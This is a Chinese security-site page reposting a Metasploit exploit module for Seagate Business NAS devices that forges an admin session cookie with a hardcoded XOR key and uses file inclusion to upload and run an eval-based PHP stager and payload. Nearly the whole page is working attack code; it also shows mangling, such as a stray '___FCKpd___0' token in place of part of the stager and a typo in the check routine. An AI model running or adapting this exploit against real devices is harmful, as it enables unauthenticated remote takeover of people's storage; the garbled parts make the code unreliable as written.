首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Seagate Business NAS Unauthenticated Remote Command Execution
来源:metasploit.com 作者:Reeves 发布时间:2015-03-03  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rexml/document'

class Metasploit4 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Seagate Business NAS Unauthenticated Remote Command Execution',
      'Description'    => %q{
        Some Seagate Business NAS devices are vulnerable to command execution via a local
        file include vulnerability hidden in the language parameter of the CodeIgniter
        session cookie. The vulnerability manifests in the way the language files are
        included in the code on the login page, and hence is open to attack from users
        without the need for authentication. The cookie can be easily decrypted using a
        known static encryption key and re-encrypted once the PHP object string has been
        modified.

        This module has been tested on the STBN300 device.
      },
      'Author'         => [
          'OJ Reeves <oj[at]beyondbinary.io>' # Discovery and Metasploit module
        ],
      'References'     => [
          ['CVE', '2014-8684'],
          ['CVE', '2014-8686'],
          ['CVE', '2014-8687'],
          ['EDB', '36202'],
          ['URL', 'http://www.seagate.com/au/en/support/external-hard-drives/network-storage/business-storage-2-bay-nas/'],
          ['URL', 'https://beyondbinary.io/advisory/seagate-nas-rce/']
        ],
      'DisclosureDate' => 'Mar 01 2015',
      'Privileged'     => true,
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Payload'        => {'DisableNops' => true},
      'Targets'        => [['Automatic', {}]],
      'DefaultTarget'  => 0,
      'License'        => MSF_LICENSE
      ))

    register_options([
        OptString.new('TARGETURI', [true, 'Path to the application root', '/']),
        OptString.new('ADMINACCOUNT', [true, 'Name of the NAS admin account', 'admin']),
        OptString.new('COOKIEID', [true, 'ID of the CodeIgniter session cookie', 'ci_session']),
        OptString.new('XORKEY', [true, 'XOR Key used for the CodeIgniter session', '0f0a000d02011f0248000d290d0b0b0e03010e07'])
      ])
  end

  #
  # Write a string value to a serialized PHP object without deserializing it first.
  # If the value exists it will be updated.
  #
  def set_string(php_object, name, value)
    prefix = "s:#{name.length}:\"#{name}\";s:"
    if php_object.include?(prefix)
      # the value already exists in the php blob, so update it.
      return php_object.gsub("#{prefix}\\d+:\"[^\"]*\"", "#{prefix}#{value.length}:\"#{value}\"")
    end

    # the value doesn't exist in the php blob, so create it.
    count = php_object.split(':')[1].to_i + 1
    php_object.gsub(/a:\d+(.*)}$/, "a:#{count}\\1#{prefix}#{value.length}:\"#{value}\";}")
  end

  #
  # Findez ze holez!
  #
  def check
    begin
      res = send_request_cgi(
        'uri'      => normalize_uri(target_uri),
        'method'   => 'GET',
        'headers'  => {
          'Accept' => 'text/html'
        }
      )

      if res && res.code == 200
        headers = res.to_s

        # validate headers
        if headers.incude?('X-Powered-By: PHP/5.2.13') && headers.include?('Server: lighttpd/1.4.28')
          # and make sure that the body contains the title we'd expect
          if res.body.include?('Login to BlackArmor')
            return Exploit::CheckCode::Appears
          end
        end
      end
    rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
      # something went wrong, assume safe.
    end

    Exploit::CheckCode::Safe
  end

  #
  # Executez ze sploitz!
  #
  def exploit

    # Step 1 - Establish a session with the target which will give us a PHP object we can
    # work with.
    begin
      print_status("#{peer} - Establishing session with target ...")
      res = send_request_cgi({
        'uri'    => normalize_uri(target_uri),
        'method' => 'GET',
        'headers'  => {
          'Accept' => 'text/html'
        }
      })

      if res && res.code == 200 && res.to_s =~ /#{datastore['COOKIEID']}=([^;]+);/
        cookie_value = $1.strip
      else
        fail_with(Exploit::Failure::Unreachable, "#{peer} - Unexpected response from server.")
      end
    rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
      fail_with(Exploit::Failure::Unreachable, "#{peer} - Unable to establish connection.")
    end

    # Step 2 - Decrypt the cookie so that we have a PHP object we can work with directly
    # then update it so that it's an admin session before re-encrypting
    print_status("#{peer} - Upgrading session to administrator ...")
    php_object = decode_cookie(cookie_value)
    vprint_status("#{peer} - PHP Object: #{php_object}")

    admin_php_object = set_string(php_object, 'is_admin', 'yes')
    admin_php_object = set_string(admin_php_object, 'username', datastore['ADMINACCOUNT'])
    vprint_status("#{peer} - Admin PHP object: #{admin_php_object}")

    admin_cookie_value = encode_cookie(admin_php_object)

    # Step 3 - Extract the current host configuration so that we don't lose it.
    host_config = nil

    # This time value needs to be consistent across calls
    config_time = ::Time.now.to_i

    begin
      print_status("#{peer} - Extracting existing host configuration ...")
      res = send_request_cgi(
        'uri'      => normalize_uri(target_uri, 'index.php/mv_system/get_general_setup'),
        'method'   => 'GET',
        'headers'  => {
          'Accept' => 'text/html'
        },
        'cookie'   => "#{datastore['COOKIEID']}=#{admin_cookie_value}",
        'vars_get' => {
          '_'      => config_time
        }
      )

      if res && res.code == 200
        res.body.split("\r\n").each do |l|
          if l.include?('general_setup')
            host_config = l
            break
          end
        end
      else
        fail_with(Exploit::Failure::Unreachable, "#{peer} - Unexpected response from server.")
      end
    rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
      fail_with(Exploit::Failure::Unreachable, "#{peer} - Unable to establish connection.")
    end

    print_good("#{peer} - Host configuration extracted.")
    vprint_status("#{peer} - Host configuration: #{host_config}")

    # Step 4 - replace the host device description with a custom payload that can
    # be used for LFI. We have to keep the payload small because of size limitations
    # and we can't put anything in with '
in it. So we need to make a simple install # payload which will write a required payload to disk that can be executes directly # as the last part of the payload. This will also be self-deleting. param_id = rand_text_alphanumeric(3) # There are no files on the target file system that start with an underscore # so to allow for a small file size that doesn't collide with an existing file # we'll just prefix it with an underscore. payload_file = "_#{rand_text_alphanumeric(3)}.php" installer = "file_put_contents('#{payload_file}', base64_decode(
___FCKpd___0
POST['#{param_id}']));" stager = Rex::Text.encode_base64(installer) stager = xml_encode("<?php eval(base64_decode('#{stager}')); ?>") vprint_status("#{peer} - Stager: #{stager}") # Butcher the XML directly rather than attempting to use REXML. The target XML # parser is way to simple/flaky to deal with the proper stuff that REXML # spits out. desc_start = host_config.index('" description="') + 15 desc_end = host_config.index('"', desc_start) xml_payload = host_config[0, desc_start] + stager + host_config[desc_end, host_config.length] vprint_status(xml_payload) # Step 5 - set the host description to the stager so that it is written to disk print_status("#{peer} - Uploading stager ...") begin res = send_request_cgi( 'uri' => normalize_uri(target_uri, 'index.php/mv_system/set_general_setup'), 'method' => 'POST', 'headers' => { 'Accept' => 'text/html' }, 'cookie' => "#{datastore['COOKIEID']}=#{admin_cookie_value}", 'vars_get' => { '_' => config_time }, 'vars_post' => { 'general_setup' => xml_payload } ) unless res && res.code == 200 fail_with(Exploit::Failure::Unreachable, "#{peer} - Stager upload failed (invalid result).") end rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable fail_with(Exploit::Failure::Unreachable, "#{peer} - Stager upload failed (unable to establish connection).") end print_good("#{peer} - Stager uploaded.") # Step 6 - Invoke the stage, passing in a self-deleting php script body. print_status("#{peer} - Executing stager ...") payload_php_object = set_string(php_object, 'language', "../../../etc/devicedesc\x00") payload_cookie_value = encode_cookie(payload_php_object) self_deleting_payload = "<?php unlink(__FILE__);\r\n#{payload.encoded}; ?>" errored = false begin res = send_request_cgi( 'uri' => normalize_uri(target_uri), 'method' => 'POST', 'headers' => { 'Accept' => 'text/html' }, 'cookie' => "#{datastore['COOKIEID']}=#{payload_cookie_value}", 'vars_post' => { param_id => Rex::Text.encode_base64(self_deleting_payload) } ) if res && res.code == 200 print_good("#{peer} - Stager execution succeeded, payload ready for execution.") else print_error("#{peer} - Stager execution failed (invalid result).") errored = true end rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable print_error("#{peer} - Stager execution failed (unable to establish connection).") errored = true end # Step 7 - try to restore the previous configuration, allowing exceptions # to bubble up given that we're at the end. This step is important because # we don't want to leave a trail of junk on disk at the end. print_status("#{peer} - Restoring host config ...") res = send_request_cgi( 'uri' => normalize_uri(target_uri, 'index.php/mv_system/set_general_setup'), 'method' => 'POST', 'headers' => { 'Accept' => 'text/html' }, 'cookie' => "#{datastore['COOKIEID']}=#{admin_cookie_value}", 'vars_get' => { '_' => config_time }, 'vars_post' => { 'general_setup' => host_config } ) # Step 8 - invoke the installed payload, but only if all went to plan. unless errored print_status("#{peer} - Executing payload at #{normalize_uri(target_uri, payload_file)} ...") res = send_request_cgi( 'uri' => normalize_uri(target_uri, payload_file), 'method' => 'GET', 'headers' => { 'Accept' => 'text/html' }, 'cookie' => "#{datastore['COOKIEID']}=#{payload_cookie_value}" ) end end # # Take a CodeIgnitor cookie and pull out the PHP object using the XOR # key that we've been given. # def decode_cookie(cookie_content) cookie_value = Rex::Text.decode_base64(URI.decode(cookie_content)) pass = xor(cookie_value, datastore['XORKEY']) result = '' (0...pass.length).step(2).each do |i| result << (pass[i].ord ^ pass[i + 1].ord).chr end result end # # Take a serialised PHP object cookie value and encode it so that # CodeIgniter thinks it's legit. # def encode_cookie(cookie_value) rand = Rex::Text.sha1(rand_text_alphanumeric(40)) block = '' (0...cookie_value.length).each do |i| block << rand[i % rand.length] block << (rand[i % rand.length].ord ^ cookie_value[i].ord).chr end cookie_value = xor(block, datastore['XORKEY']) cookie_value = CGI.escape(Rex::Text.encode_base64(cookie_value)) vprint_status("#{peer} - Cookie value: #{cookie_value}") cookie_value end # # XOR a value against a key. The key is cycled. # def xor(string, key) result = '' string.bytes.zip(key.bytes.cycle).each do |s, k| result << (s ^ k) end result end # # Simple XML substitution because the target XML handler isn't really # full blown or smart. # def xml_encode(str) str.gsub(/</, '&lt;').gsub(/>/, '&gt;') end end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linux CVE-2014-9322 Proof Of C
·Symantec Web Gateway 5 restore
·Linux CVE-2014-4943 Proof Of C
·SQLite3 3.8.6 - Controlled Mem
·Linux CVE-2014-3631 Proof Of C
·HP Data Protector 8.10 Remote
·Swiss File Knife 1.7.4 Buffer
·Generic Web Application DLL In
·Solarwinds Orion AccountManage
·Generic DLL Injection From Sha
·Seagate Business NAS <= 2014.0
·VFU 4.10-1.1 - Move Entry Buff
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved